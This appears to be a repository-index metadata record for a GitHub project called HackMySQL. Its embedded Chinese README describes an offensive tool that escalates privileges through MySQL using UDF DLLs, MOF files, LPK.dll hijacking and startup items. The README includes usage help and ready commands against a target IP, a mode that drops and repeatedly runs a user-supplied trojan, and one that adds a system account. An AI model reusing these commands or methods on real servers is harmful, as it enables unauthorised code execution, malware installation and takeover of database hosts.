{"id":13843806,"url":"https://github.com/T3st0r-Git/HackMySQL","last_synced_at":"2025-07-11T20:30:41.299Z","repository":{"id":219521675,"uuid":"62788320","full_name":"T3st0r-Git/HackMySQL","owner":"T3st0r-Git","description":"Using To MySQL Elevate Privileges.","archived":false,"fork":false,"pushed_at":"2020-11-24T09:39:31.000Z","size":4311,"stargazers_count":172,"open_issues_count":0,"forks_count":68,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-11-21T15:39:35.663Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/T3st0r-Git.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2016-07-07T08:17:09.000Z","updated_at":"2024-08-12T19:23:41.000Z","dependencies_parsed_at":"2024-01-28T04:00:24.478Z","dependency_job_id":"39d0eea8-50d2-486e-a347-b0b76f2fd62a","html_url":"https://github.com/T3st0r-Git/HackMySQL","commit_stats":null,"previous_names":["t3st0r-git/hackmysql"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/T3st0r-Git/HackMySQL","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/T3st0r-Git%2FHackMySQL","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/T3st0r-Git%2FHackMySQL/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/T3st0r-Git%2FHackMySQL/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/T3st0r-Git%2FHackMySQL/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/T3st0r-Git","download_url":"https://codeload.github.com/T3st0r-Git/HackMySQL/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/T3st0r-Git%2FHackMySQL/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264892003,"owners_count":23679203,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:27.694Z","updated_at":"2025-07-11T20:30:40.822Z","avatar_url":"https://github.com/T3st0r-Git.png","language":"Python","funding_links":[],"categories":["Python","Python (1887)"],"sub_categories":[],"readme":"# python-promoting-privileges\n\n1.自动导出你的backdoor和mof文件，\n\n2.自动判断mysql版本，根据版本不同导出UDF的DLL到不同目录，UDF提权\n\n3.导出LPK.dll文件，劫持系统目录提权\n\n4.写启动项提权 \n\n工具仅做方便使用，技术含量几乎没有。\n\n用py脚本写的，也打包成exe了，个人用的还算顺手。\n\n用法：\n```\npromote:PythonDemo v5est0r$ python root.py\n  __            _    __  __       ____   ___  _\n / _|_   _  ___| | _|  \\/  |_   _/ ___| / _ \\| |\n| |_| | | |/ __| |/ / |\\/| | | | \\___ \\| | | | |      Author：v5est0r\n|  _| |_| | (__|   \u003c| |  | | |_| |___) | |_| | |___\n|_|  \\__,_|\\___|_|\\_\\_|  |_|\\__, |____/ \\__\\_\\_____|\n                            |___/\n\nusage: root.py [-h] [-a HOST] [-o PORT] [-u USER] [-p PASSWD] [-e EXECUTE]\n               [-m METHOD]\n\nfuckmysql\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -a HOST, --host HOST  MySQL server ip\n  -o PORT, --port PORT  MySQL Port\n  -u USER, --user USER  mysql UserName\n  -p PASSWD, --passwd PASSWD\n                        mysql password\n  -e EXECUTE, --execute EXECUTE\n                        command for UDF to execute\n  -m METHOD, --method METHOD\n                        elevate method,eg:udf/mof/lpk/st\n```\n![Alt text](./pic/vashvJHVAJSHVCJHavj.png)\n\n我在虚拟机演示打包好的exe远程提权，坛子的老哥们都是明白人，我就不多说了，直接上图：\n\n默认UDF提权，也可以`-m udf`指定方式，`-e ipconfig`指定执行的cmd，默认执行whoami：\n```\nroot.exe -a 192.168.1.105 -p root -e \"ver\u0026whoami\" -m udf\n```\n\n![Alt text](./pic/jhfashvhavha.png)\n\n有时候UDF无效，我们使用LPK.dll劫持：\n\n```\nroot.exe -a 192.168.1.105 -p root -m lpk\n```\n\n![Alt text](./pic/hasjhvjhas.png)\n\n验证一下lpk是否加上账户:\n\n![Alt text](./pic/hbashjvchjasvh.png)\n\n有时候UDF和LPK都无效，目标是windows2003，还有机会，可以MOF：\n\n把你的木马的hex复制到同目录的hex.txt就行了，程序会导出木马到指定目录，并用mof执行。\n\n![Alt text](./pic/avavJHdaHjadkj.png)\n\n每隔几秒就运行一次木马，有点尴尬，如何停止mof老司机都知道，我就不多说了。\n\n![Alt text](./pic/hbajhvjhasJdavkjdJBAS.png)\n\n有时候UDF和LPK都无效，那我们只能尝试被动写启动项：\n\n```\nroot.exe -a 192.168.1.105 -p root -m st\n```\n![Alt text](./pic/jvaJHVJC.png)\n\n可能存在路径编码问题写不成功，你可以根据提示，用本地的MySQL连接上去，执行。\n\n![Alt text](./pic/vqfjhvajshcvasnCAKQJ.png)\n\n当然还有情况是远程提权，UDF不能创建plugin目录，网上流传的ADS流创建目录我是没有成功过，工具里加了ADS流创建目录的代码，那么我们删掉plugin目录，再远程试试：\n\n![Alt text](./pic/jhvcajhvhacsHGXCfxafxG.png)\n\n如上图，那就不行了，那么这种情况下，如果你有shell，在shell里的本地模式执行，就不一样了。\n\n本地模式：\n一般来说，php一般权限都是可以创建目录的，此处必须指定主机为`localhost或127.0.0.1`才会调用本地模式：\n```\nroot.exe -a localhost -p root -e \"ver\u0026whoami\" -m udf\n```\n\n![Alt text](./pic/jqwhvdqhvhavshHHVJHV.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FT3st0r-Git%2FHackMySQL","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FT3st0r-Git%2FHackMySQL","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FT3st0r-Git%2FHackMySQL/lists"}